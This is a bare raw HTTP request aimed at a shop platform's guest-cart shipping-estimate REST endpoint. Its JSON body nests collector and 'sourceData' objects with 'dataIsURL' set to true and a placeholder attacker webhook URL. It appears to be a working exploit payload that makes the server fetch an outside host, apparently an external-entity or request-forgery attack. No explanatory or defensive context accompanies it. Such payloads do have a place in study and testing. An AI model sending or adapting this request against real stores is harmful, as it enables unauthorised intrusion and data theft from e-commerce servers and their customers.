POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2
Host: example.com
Accept:  application/json, text/javascript, */*; q=0.01
Content-Length: 310
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "http://YOUR-webhook",
            "dataIsURL": true,
            "options": 1337
          }
        }
      }
    }
  }
}